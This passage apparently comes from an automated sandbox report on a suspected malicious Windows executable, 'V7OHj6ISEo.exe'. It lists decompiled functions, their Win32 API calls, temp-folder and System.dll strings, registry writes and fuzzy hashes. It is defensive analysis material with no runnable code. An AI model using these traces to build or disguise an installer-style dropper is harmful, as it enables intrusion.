Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Strings

C:\Users\user~1\AppData\Local\Temp\nscEDE4.tmp, xrefs: 00401821, 0040183F
Call, xrefs: 0040178D, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906
C:\Users\user~1\AppData\Local\Temp\nscEDE4.tmp\System.dll, xrefs: 00401835, 00401851
C:\Users\user\AppData\Local\Iw, xrefs: 0040179E

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user~1\AppData\Local\Temp\nscEDE4.tmp$C:\Users\user~1\AppData\Local\Temp\nscEDE4.tmp\System.dll$C:\Users\user\AppData\Local\Iw$Call
API String ID: 1941528284-499555101
Opcode ID: 45b834d85ef4e1e2ed7d2d31852b9ecb22d19d59077027c4906be829d01ae2f6
Instruction ID: 2530360bafa170a9d5e8074bf3c3c5079485a484cad24ccb9f0485aee5561d29
Opcode Fuzzy Hash: 45b834d85ef4e1e2ed7d2d31852b9ecb22d19d59077027c4906be829d01ae2f6
Instruction Fuzzy Hash: FF41C671900614BADF11ABA5CD85DAF3679EF05329B20433BF412B10E2CB3C86529A6E

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 004026B6
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004026F1
SetFilePointer.KERNELBASE(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402714
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040272A

Part of subcall function 00405FBF: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405FD5

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 004027D6

Strings

9, xrefs: 00402699

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: cadc99d36448674c458fec809f66667da68abd58cfb7d9264b13fa75ded684dc
Instruction ID: add249696b334c0fceafe0529c612de3b1c59f5eaafd60b3ba6c21ea99dd66a9
Opcode Fuzzy Hash: cadc99d36448674c458fec809f66667da68abd58cfb7d9264b13fa75ded684dc
Instruction Fuzzy Hash: FD510A74D10219AEDF21DF95DA88AAEB779FF04304F50443BE901B72D0D7B89982CB59

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
wsprintfW.USER32 ref: 004067A4
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067B8

Strings

\, xrefs: 0040677A
%s%S.dll, xrefs: 0040679E
UXTHEME, xrefs: 0040675B

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction ID: 07f60acf873a648e61080255fd3e200204736070213a9ab7c1209ab7057fe03e
Opcode Fuzzy Hash: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction Fuzzy Hash: 27F0FC70540219AECB10AB68ED0DFAB366CA700304F10447AA64AF20D1EB789A24C798

Function 0040591F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405962
GetLastError.KERNEL32 ref: 00405976
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040598B
GetLastError.KERNEL32 ref: 00405995

Strings

C:\Users\user\Desktop, xrefs: 0040591F

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\Desktop
API String ID: 3449924974-3976562730
Opcode ID: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction ID: ca5323325ecea66cc3de0aafa4d6cbc44a00468c8660a14113972894dcb98988
Opcode Fuzzy Hash: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction Fuzzy Hash: 970108B1C10219DADF009FA5C944BEFBFB4EB14314F00403AE544B6290DB789608CFA9

Function 00405F0D Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405F2B
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,"C:\Users\user\Desktop\V7OHj6ISEo.exe",004034A3,1033,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,771B3420,004036EF), ref: 00405F46

Strings

"C:\Users\user\Desktop\V7OHj6ISEo.exe", xrefs: 00405F0D
nsa, xrefs: 00405F1A
C:\Users\user~1\AppData\Local\Temp\, xrefs: 00405F12, 00405F16

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\V7OHj6ISEo.exe"$C:\Users\user~1\AppData\Local\Temp\$nsa
API String ID: 1716503409-1380310372
Opcode ID: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction ID: 076564571966e4dc9ef4834731be4d502634ae0aeddccfca5b4533d1bab5a213
Opcode Fuzzy Hash: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction Fuzzy Hash: 14F09076601204FFEB009F59ED05E9BB7A8EB95750F10803AEE00F7250E6B49A548B68

Function 75561777 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 75561B5F: GlobalFree.KERNEL32(?), ref: 75561DB2
Part of subcall function 75561B5F: GlobalFree.KERNEL32(?), ref: 75561DB7
Part of subcall function 75561B5F: GlobalFree.KERNEL32(?), ref: 75561DBC

GlobalFree.KERNEL32(00000000), ref: 75561825
FreeLibrary.KERNEL32(?), ref: 755618AB
GlobalFree.KERNEL32(00000000), ref: 755618D0

Part of subcall function 75562352: GlobalAlloc.KERNEL32(00000040,?), ref: 75562383

Part of subcall function 75562724: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,755617F6,00000000), ref: 755627F4

Part of subcall function 755615C6: wsprintfW.USER32 ref: 755615F4

Strings

, xrefs: 755618B1

Memory Dump Source

Source File: 00000001.00000002.1884142121.0000000075561000.00000020.00000001.01000000.00000004.sdmp, Offset: 75560000, based on PE: true

Associated: 00000001.00000002.1884110487.0000000075560000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1884190450.0000000075564000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1884228003.0000000075566000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_75560000_V7OHj6ISEo.jbxd

Similarity

API ID: Global$Free$Alloc$Librarywsprintf
String ID:
API String ID: 3962662361-3916222277
Opcode ID: 433e0b1f8de4cf33b0669e3b3cfe55b6ff838c9eba9af4a7bb3e92588ddd465d
Instruction ID: 9ebefe913e23782308ddc2ef3ba4f3b58cef2b0c624eb6b00c7f7068694fbf94
Opcode Fuzzy Hash: 433e0b1f8de4cf33b0669e3b3cfe55b6ff838c9eba9af4a7bb3e92588ddd465d
Instruction Fuzzy Hash: 7841E2726002C4ABCB119F74D984BA637B9FF05BA1F144426FD079E186DBB4D085CBE1

Function 00402032 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 0040205D

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040206E
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 004020EB

Strings

($U, xrefs: 004020B0

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID: ($U
API String ID: 334405425-603359895
Opcode ID: c0091ceae9cfbdad611b36e7acbab474ec2c1bafca6550aebcba3b122e164ceb
Instruction ID: 38390b8595ebf5dc4f6cf14c4d4b7ed92d06cc21542818b97b262269bef072d5
Opcode Fuzzy Hash: c0091ceae9cfbdad611b36e7acbab474ec2c1bafca6550aebcba3b122e164ceb
Instruction Fuzzy Hash: DC218331D00215BACF20AFA5CE4D99E7A70BF04358F60413BF511B51E0DBBD8991DA6E

Function 004023E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\nscEDE4.tmp,00000023,00000011,00000002), ref: 0040242F
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user~1\AppData\Local\Temp\nscEDE4.tmp,00000000,00000011,00000002), ref: 0040246F
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user~1\AppData\Local\Temp\nscEDE4.tmp,00000000,00000011,00000002), ref: 00402557

Strings

C:\Users\user~1\AppData\Local\Temp\nscEDE4.tmp, xrefs: 00402420, 0040242E, 00402445, 00402459, 00402464

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user~1\AppData\Local\Temp\nscEDE4.tmp
API String ID: 2655323295-2165756891
Opcode ID: 73e16f22230fec4bb41596bf14ea3730359cb40e1001d342c6dd81160fbf5f59
Instruction ID: 2320c74fc41ffeb716861e397aa06506e2c1d49fdd3331f7b5a779c93e7e4390
Opcode Fuzzy Hash: 73e16f22230fec4bb41596bf14ea3730359cb40e1001d342c6dd81160fbf5f59
Instruction Fuzzy Hash: C4118471E00104BEEB10AFA5DE89EAEBB74EB44754F11803BF504B71D1DBB89D419B68

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402DA9
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB2
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DD3

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction ID: 3410daaf41eb2a8de7896e1fb7aa518538b3e031ab7f3cb45a1fbd23233d04dd
Opcode Fuzzy Hash: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction Fuzzy Hash: CE116A32500108FBDF12AB90CE09FEE7B7DAF44350F100076B905B61E0E7B59E21AB58

Function 004015C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405D68: CharNextW.USER32(?,?,00425F30,?,00405DDC,00425F30,00425F30,?,?,771B2EE0,00405B1A,?,C:\Users\user~1\AppData\Local\Temp\,771B2EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 0040591F: CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405962

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\Iw,?,00000000,000000F0), ref: 0040164D

Strings

C:\Users\user\AppData\Local\Iw, xrefs: 00401640

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Iw
API String ID: 1892508949-4214039554
Opcode ID: c670449cb20163be3cb3cb34affd8c81282aa0e3ca4a40f31796d9e50139b1da
Instruction ID: 0139da5d792eeb989572d84d187c25f91b4f70b2bd1842bf542401118de2a59f
Opcode Fuzzy Hash: c670449cb20163be3cb3cb34affd8c81282aa0e3ca4a40f31796d9e50139b1da
Instruction Fuzzy Hash: 0511E631504511EBCF30AFA4CD4159F36A0EF15329B29453BFA45B22F1DB3E49419B5D

Function 004053C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004053F3
CallWindowProcW.USER32(?,?,?,?), ref: 00405444

Part of subcall function 004043AB: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004043BD

Strings

, xrefs: 004053D4

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction ID: 343f6187318c33bb175646012d6cb398530476c6c15fe8dd96994d534b9a6b17
Opcode Fuzzy Hash: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction Fuzzy Hash: CC0171B1200609ABDF305F11DD84B9B3666EBD4356F508037FA00761E1C77A8DD29A6E

Function 004062B6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000800,00000002,00422708,00000000,?,?,Call,?,?,0040652A,80000002), ref: 004062FC
RegCloseKey.ADVAPI32(?,?,0040652A,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,00000000,00422708), ref: 00406307

Strings

Call, xrefs: 004062BD

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: c86c14991d827863ed80974af0b6eb11eee99485bcf286d774b2a77da772c934
Instruction ID: efe3e51cb47fe95fa6bbb83f3cb46ebf457b8c4b35673ac5825ceff03b23bf8b
Opcode Fuzzy Hash: c86c14991d827863ed80974af0b6eb11eee99485bcf286d774b2a77da772c934
Instruction Fuzzy Hash: B301717250020AEBDF218F55CD09EDB3FA9EF55354F114039FD15A2150E778D964CBA4

Function 00406F27 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction ID: 2bd06e12bed6e0bcd81d630d0cd78bd49004ac77cb8b5ebb757de7108a839e92
Opcode Fuzzy Hash: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction Fuzzy Hash: 1DA14471E04228CBDF28CFA8C8446ADBBB1FF44305F14806ED856BB281D7786A86DF45

Function 00407128 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction ID: f1da02a2f8b93330a3d469e31e6e9edf047fa596270f1f1d86c95cc791e20b04
Opcode Fuzzy Hash: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction Fuzzy Hash: AA910271E04228CBEF28CF98C8447ADBBB1FB45305F14816AD856BB291C778A986DF45

Function 00406E3E Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
